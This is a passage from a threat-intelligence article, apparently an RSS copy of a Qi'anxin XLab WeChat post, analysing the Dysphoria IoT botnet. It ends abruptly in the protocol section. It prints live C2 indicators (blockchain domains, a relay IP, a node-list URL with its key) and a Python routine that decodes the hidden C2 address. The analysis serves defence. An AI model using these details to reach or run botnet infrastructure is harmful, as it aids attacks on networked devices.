<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>奇安信XLab</title>
    <link>https://wechat2rss.xlab.app/feed/5c7b6eec254fbb0afac7abf4eae95573fc374555.xml</link>
    <description>奇安信XLab是国内最资深利用大规模多维度数据进行大网安全平台建设，数据分析与研究及安全应用的团队之一，建立了国内首个 PassiveDNS系统，披露了30+有影响力的僵尸网络。本公众号是XLab交流技术研究成果的平台，欢迎订阅、转发、留言&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (奇安信XLab)</managingEditor>
    <image>
      <url>https://wx.qlogo.cn/mmhead/0wRpPfN90ibBlWQeZMBEoLhdPjBspUm6P93nv0aMttNlyWHavhgl58tAkibUTn6MmrLzzMQnB13O4/0</url>
      <title>奇安信XLab</title>
      <link>https://wechat2rss.xlab.app/feed/5c7b6eec254fbb0afac7abf4eae95573fc374555.xml</link>
    </image>
    <item>
      <title>僵尸网络新秀：Dysphoria 演进与深度技术分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkxMDYzODQxNA==&amp;mid=2247484897&amp;idx=1&amp;sn=0b7cc7c0989036bb73ee4b9f01c2f0a4</link>
      <description></description>
      <content:encoded><![CDATA[<p><span>奇安信X实验室</span> <span>2026-07-27 17:42</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=192248ca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fa6IDQoib5s8yicLYojIoNK7434iaib4RF74LLTWBfXgJqxkFSDc8m2AoQ4ibMPcfoBqBZWJ3gtkzvtJuhD9dEnbRo3pOriahbWk6R6EO3wUo22vjM%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <div data-tool="markdown编辑器" data-website="https://markdown.com.cn/wechat" style="font-size: 16px;color: black;padding: 25px 0px;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: justify;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;margin-top: -10px;" data-pm-slice="0 0 []"><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);background: rgba(0, 0, 0, 0.05);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf="">本报告由国家互联网应急中心（CNCERT）与奇安信网神信息技术(北京)股份有限公司共同发布</span></p></blockquote><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">2026年第一季度以来，奇安信X实验室追踪到一个名为 Dysphoria 的新型僵尸网络，</span><span style="color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-tool&#34;:&#34;markdown编辑器&#34;,&#34;data-website&#34;:&#34;https://markdown.com.cn/wechat&#34;,&#34;style&#34;:&#34;font-size: 16px;color: black;padding: 25px 0px;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: justify;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;margin-top: -10px;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;data-tool&#34;:&#34;markdown.com.cn编辑器&#34;,&#34;style&#34;:&#34;font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(0, 0, 0); font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, \&#34;PingFang SC\&#34;, Cambria, Cochin, Georgia, Times, \&#34;Times New Roman\&#34;, serif; font-size: 16px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: justify; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px;  background-color: rgb(255, 255, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; display: inline !important; float: none;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">在我国境内已确认的活跃“肉鸡”规模达4401台，境内日上线肉鸡数量最高达1801台，</span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-tool&#34;:&#34;markdown编辑器&#34;,&#34;data-website&#34;:&#34;https://markdown.com.cn/wechat&#34;,&#34;style&#34;:&#34;font-size: 16px;color: black;padding: 25px 0px;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: justify;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;margin-top: -10px;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;data-tool&#34;:&#34;markdown.com.cn编辑器&#34;,&#34;style&#34;:&#34;font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">日上线境外</span></span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-tool&#34;:&#34;markdown编辑器&#34;,&#34;data-website&#34;:&#34;https://markdown.com.cn/wechat&#34;,&#34;style&#34;:&#34;font-size: 16px;color: black;padding: 25px 0px;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: justify;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;margin-top: -10px;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;data-tool&#34;:&#34;markdown.com.cn编辑器&#34;,&#34;style&#34;:&#34;font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">肉鸡数最高达23.9万台</span><span leaf="">，</span><span style="color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">肉鸡C2日访问量最高达74万次。</span></span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf=""> 简单来说，Dysphoria 就像一个庞大的&#34;僵尸军团&#34;：攻击者通过漏洞和弱口令入侵路由器、摄像头等联网设备，将它们变成听命于自己的&#34;傀儡&#34;。这些傀儡既可以被指挥发起大规模网络攻击（DDoS），也可以被改造成&#34;中转站&#34;，帮助攻击者隐藏真实身份。更棘手的是，Dysphoria 近期引入了两项&#34;反追踪&#34;技术：区块链域名：利用以太坊（ENS）和Solana（SNS）的域名系统来隐藏指挥服务器地址，传统&#34;封域名&#34;的手段对其几乎无效；肉鸡变中继：将部分受害设备改造为&#34;中转代理&#34;，攻击指令经过层层转发，防御方很难定位真正的幕后服务器。</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">目前野外捕获的 Dysphoria 样本主要分为两大类：</span><strong style="font-weight: bold;color: black;"><span leaf="">DDoS 攻击样本</span></strong><span leaf="">与</span><strong style="font-weight: bold;color: black;"><span leaf="">纯中继/代理样本</span></strong><span leaf="">。</span></p><hr style="height: 1px;margin: 0;margin-top: 10px;margin-bottom: 10px;border: none;border-top: 1px solid black;"/><h2 data-tool="markdown.com.cn编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 22px;"><span leaf="">一、 家族演进时间线 (Timeline)</span></h2><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">Dysphoria 家族的迭代速度极快，从最初的资产关联到后期的混合拓扑结构，其关键节点如下：</span></p><table style="display:table;text-align:left;min-width:110px;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th data-colwidth="85" style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">时间</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">关键变化</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td data-colwidth="85" style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">3月底</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">首次出现，通过区块链域名关联到攻击者的Telegram频道</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td data-colwidth="85" style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">4月初</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">更换变种，更新加密方式</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td data-colwidth="85" style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">4月底</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">升级字符串加密算法，启用新的区块链域名</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td data-colwidth="85" style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">5月初</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">新增Solana区块链域名，实现&#34;多链&#34;隐蔽通信</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td data-colwidth="85" style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">6月10日</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">再次更换区块链域名</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td data-colwidth="85" style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">6月25日</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">关键转折：出现纯&#34;中继&#34;变种，不再攻击，专门做转发</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td data-colwidth="85" style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">6月底</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">引入UPnP自动端口映射，构建&#34;攻击+中继&#34;混合架构，完全体形成</span></p></td></tr></tbody></table><hr style="height: 1px;margin: 0;margin-top: 10px;margin-bottom: 10px;border: none;border-top: 1px solid black;"/><h2 data-tool="markdown.com.cn编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 22px;"><span leaf="">二、 DDoS样本分析</span></h2><h3 data-tool="markdown.com.cn编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span leaf="">1. 魔改RC4 解密</span></h3><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">Dysphoria 最新的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">fbot</span></code><span leaf=""> 变种在字符串保护上花费了心思。其解密算法在一定程度上借鉴了 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">jackskid</span></code><span leaf=""> 的代码（具体代码见原文）：</span></p><ol style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: decimal;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">KSA 1 阶段</span></strong><span leaf="">：标准 RC4 初始化。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">KSA 2 阶段</span></strong><span leaf="">：引入 </span><strong style="font-weight: bold;color: black;"><span leaf="">LCG (线性同余发生器)</span></strong><span leaf=""> 算法，连续打乱 S 盒 5 次。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">PRGA 阶段</span></strong><span leaf="">：在流生成过程中引入 </span><strong style="font-weight: bold;color: black;"><span leaf="">LFSR (线性反馈移位寄存器)</span></strong><span leaf=""> 步进，并进行复杂的位移互换。</span></p></li></ol><h3 data-tool="markdown.com.cn编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span leaf="">2. 区块链域名 C2 隐蔽解析机制</span></h3><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">Dysphoria 同时支持 </span><strong style="font-weight: bold;color: black;"><span leaf="">ENS (以太坊域名服务)</span></strong><span leaf=""> 和 </span><strong style="font-weight: bold;color: black;"><span leaf="">SNS (Solana 域名服务)</span></strong><span leaf="">。它会查询这些域名的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">TXT</span></code><span leaf=""> 或特定自定义记录。不同域名对应的 Key 映射关系如下：</span></p><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">域名类型</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">目标域名</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">对应查询 Key</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">作用</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><strong style="font-weight: bold;color: black;"><span leaf="">ENS</span></strong></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">burrberry.eth</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">node</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">获取中继分发节点 IP</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><strong style="font-weight: bold;color: black;"><span leaf="">ENS</span></strong></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">ukranianhorseriding.eth</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">network</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">基础网络基础设施</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><strong style="font-weight: bold;color: black;"><span leaf="">SNS</span></strong></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">24carnforth2merseyside.sol</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">deserialized</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">基础网络基础设施</span></p></td></tr></tbody></table><h4 data-tool="markdown.com.cn编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">虚假 IPv6 地址混淆</span></h4><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">提取到记录后，文本中包含由 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">|</span></code><span leaf=""> 分割的</span><strong style="font-weight: bold;color: black;"><span leaf="">虚假 IPv6 地址</span></strong><span leaf="">（例如 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">2001:db8:12e7:13d7::1</span></code><span leaf="">）。</span><strong style="font-weight: bold;color: black;"><span leaf="">样本通过逐个字节字符串对比的方式</span></strong><span leaf="">，过滤并提取出其中的 4 字节关键数据，再通过自定义置换函数 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">F</span></code><span leaf=""> 还原出真实的 IPv4 地址(</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">144.31.38.215</span></code><span leaf="">)：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #1E1E1E;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span style="color: #DCDCDC;line-height: 26px;"><span style="color: #569CD6;line-height: 26px;"><span leaf="">def</span></span><span style="color: #DCDCDC;line-height: 26px;"><span leaf="">ror8</span></span><span style="color: #DCDCDC;line-height: 26px;"><span leaf="">(x, r)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> ((x &gt;&gt; r) | (x &lt;&lt; (</span><span style="color: #B8D7A3;line-height: 26px;"><span leaf="">8</span></span><span leaf="">-r))) &amp; </span><span style="color: #B8D7A3;line-height: 26px;"><span leaf="">0xFF</span></span><span leaf=""><br/></span><span style="color: #DCDCDC;line-height: 26px;"><span style="color: #569CD6;line-height: 26px;"><span leaf="">def</span></span><span style="color: #DCDCDC;line-height: 26px;"><span leaf="">F</span></span><span style="color: #DCDCDC;line-height: 26px;"><span leaf="">(x, i, key=</span><span style="color: #B8D7A3;line-height: 26px;"><span leaf="">0x80408454</span></span><span leaf="">)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">    x = ((x &gt;&gt; </span><span style="color: #B8D7A3;line-height: 26px;"><span leaf="">4</span></span><span leaf="">) | (x &lt;&lt; </span><span style="color: #B8D7A3;line-height: 26px;"><span leaf="">4</span></span><span leaf="">)) &amp; </span><span style="color: #B8D7A3;line-height: 26px;"><span leaf="">0xFF</span></span><span leaf=""><br/></span><span leaf="">    x = ror8(x, i+</span><span style="color: #B8D7A3;line-height: 26px;"><span leaf="">1</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    k = (key &gt;&gt; (</span><span style="color: #B8D7A3;line-height: 26px;"><span leaf="">24</span></span><span leaf=""> - </span><span style="color: #B8D7A3;line-height: 26px;"><span leaf="">8</span></span><span leaf="">*i)) &amp; </span><span style="color: #B8D7A3;line-height: 26px;"><span leaf="">0xFF</span></span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> ((x ^ k) + k) &amp; </span><span style="color: #B8D7A3;line-height: 26px;"><span leaf="">0xFF</span></span><span leaf=""><br/></span><span style="color: #DCDCDC;line-height: 26px;"><span style="color: #569CD6;line-height: 26px;"><span leaf="">def</span></span><span style="color: #DCDCDC;line-height: 26px;"><span leaf="">decode_ip</span></span><span style="color: #DCDCDC;line-height: 26px;"><span leaf="">(ip_bytes)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">    k = </span><span style="color: #B8D7A3;line-height: 26px;"><span leaf="">0x80408454</span></span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">return</span></span><span style="color: #D69D85;line-height: 26px;"><span leaf="">&#34;.&#34;</span></span><span leaf="">.join(str(F(ip_bytes[i], i, k)) </span><span style="color: #569CD6;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> i </span><span style="color: #569CD6;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: #B8D7A3;line-height: 26px;"><span leaf="">4</span></span><span leaf="">))</span><span leaf=""><br/></span><span style="color: #57A64A;font-style: italic;line-height: 26px;"><span leaf=""># 提取关键4字节示例（对应 12e7:13d7）</span></span><span leaf=""><br/></span><span leaf="">ip_bytes = bytearray.fromhex(</span><span style="color: #D69D85;line-height: 26px;"><span leaf="">&#34;12e713d7&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">print(</span><span style="color: #D69D85;line-height: 26px;"><span leaf="">f&#34;解密出的 IP: </span><span style="color: #DCDCDC;line-height: 26px;"><span leaf="">{decode_ip(ip_bytes)}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span></code></pre><h4 data-tool="markdown.com.cn编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">动态 C2 获取流程</span></h4><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">6 月底上线的动态平衡机制非常具有迷惑性：</span></p><ol style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: decimal;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">首先解析 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">burrberry.eth</span></code><span leaf=""> 的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">node</span></code><span leaf=""> 记录，解密出一组中继分发节点的 IP（例如 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">144.31.38.215</span></code><span leaf=""> 等）。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">随后向这些分发节点发起 HTTP GET 请求：</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">http://&lt;node_ip&gt;:9000/nodes?key=meowmeowmeow</span></code><span leaf="">。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">该接口返回的 IP 列表被 DDoS 样本作为真正的 C2 交互地址。然而在实际追溯中发现，</span><strong style="font-weight: bold;color: black;"><span leaf="">这些返回的真实 C2 地址全部是由其他被感染的肉鸡所转换的中继节点</span></strong><span leaf="">。</span></p></li></ol><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">活跃C2(包括中继)趋势：<img alt="截屏2026-07-16 15.46.01.png" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100001241" data-ratio="0.4954248366013072" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-type="png" data-w="765" src="https://wechat2rss.xlab.app/img-proxy/?k=b6e6fbfb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8xaCmCD60vxbTH9fYiaMgnHQdBiaKrtbt5ficxzDKsuSBmceVJR7SoT0R7UyUdHw4wSiasFoA2BVSuq7jyu6kfrYhyEC6c1t6zAwr0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><hr style="height: 1px;margin: 0;margin-top: 10px;margin-bottom: 10px;border: none;border-top: 1px solid black;"/><h3 data-tool="markdown.com.cn编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span leaf="">3. 网络协议与指令结构</span></h3><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">在 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">fbot</span></code><span leaf=""> 的基础上，Dysphoria 重新定制了其底层通信协议。</span><strong style="font-weight: bold;color: black;"><span leaf="">上线包</span></strong><span leaf="">与</span><strong style="font-weight: bold;color: black;"><span leaf="">心跳包</span></strong><span leaf="">均为固定 </span><strong style="font-weight: bold;color: black;"><span leaf="">78 字节</span></strong><span leaf="">。</span></p><h4 data-tool="markdown.com.cn编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span 